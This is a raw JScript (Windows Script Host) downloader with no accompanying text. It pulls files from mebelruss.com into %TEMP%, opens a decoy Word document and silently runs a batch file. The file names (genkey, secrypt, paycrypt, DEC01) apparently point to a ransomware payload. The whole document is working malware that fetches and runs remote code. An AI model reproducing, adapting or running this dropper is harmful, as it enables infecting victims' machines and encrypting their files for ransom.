function suckit(c,d){var b=new ActiveXObject("MSXML2.XMLHTTP");b.onreadystatechange=function(){if(4===b.readyState){var a=new ActiveXObject("ADODB.Stream");a.open();a.type=1;a.write(b.ResponseBody);a.position=0;a.saveToFile(d,2);a.close()}};b.open("GET",c,!1);b.send()}function CreateObject(c){return new ActiveXObject(c)}
var shit="%TEMP%\\",suckthis="mebelruss.com",hutri="%TEMP%\\payc.cmd",WshShell=WScript.CreateObject("WScript.Shell"),hutrd="%TEMP%\\word.doc",peaceof="images",WshShell=CreateObject("WScript.Shell"),shit=WshShell.ExpandEnvironmentStrings(shit);try{suckit("http://"+suckthis+"/"+peaceof+"/word",""+shit+"word.doc")}catch(apt){}try{WshShell.Run(""+hutrd+"",0,0)}catch(apti){}suckit("http://"+suckthis+"/"+peaceof+"/payc",""+shit+"payc.cmd");suckit("http://"+suckthis+"/"+peaceof+"/svchost",""+shit+"svchost.like");
suckit("http://"+suckthis+"/"+peaceof+"/genkey",""+shit+"genkey.like");suckit("http://"+suckthis+"/"+peaceof+"/secrypt",""+shit+"secrypt.like");suckit("http://"+suckthis+"/"+peaceof+"/iconv",""+shit+"iconv.dll");suckit("http://"+suckthis+"/"+peaceof+"/paycrypt",""+shit+"paycrypt.like");WshShell.Run(""+hutri+"",0,0);suckit("http://"+suckthis+"/"+peaceof+"/DEC01",""+shit+"DEC01");suckit("http://"+suckthis+"/"+peaceof+"/DEC02",""+shit+"DEC02");